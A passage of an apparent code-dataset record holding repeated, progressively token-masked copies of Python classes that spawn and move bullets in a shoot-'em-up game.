None\n self._maskName = ''\n self._maskLayer = 0\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n <function token>\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n <function token>\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n <function token>\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n <function token>\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n <function token>\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n <function token>\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n <function token>\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n <function token>\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n <function token>\n <function token>\n <function token>\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n <function token>\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n <function token>\n <function token>\n <function token>\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n <function token>\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n <function token>\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n", "<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, 